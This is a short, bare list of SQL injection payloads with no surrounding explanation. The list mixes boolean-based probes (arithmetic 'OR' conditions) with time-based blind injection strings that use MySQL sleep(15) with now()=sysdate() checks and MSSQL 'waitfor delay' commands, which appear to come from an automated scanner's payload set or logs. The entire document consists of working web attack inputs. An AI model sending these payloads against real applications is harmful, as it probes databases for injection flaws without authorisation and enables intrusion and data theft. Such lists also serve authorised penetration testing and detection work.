555

-1 OR 2+452-452-1=0+0+0+1

-1′ OR 3*2>(0+5+746-746) —

-1″ OR 3+537-537-1=0+0+0+1 —

10’XOR(1*if(now()=sysdate(),sleep(15),0))XOR’Z

(select(0)from(select(sleep(15)))v)/*’+(select(0)from(select(sleep(15)))v)+'”+(select(0)from(select(sleep(15)))v)+”*/

1-1); waitfor delay ‘0:0:15’ —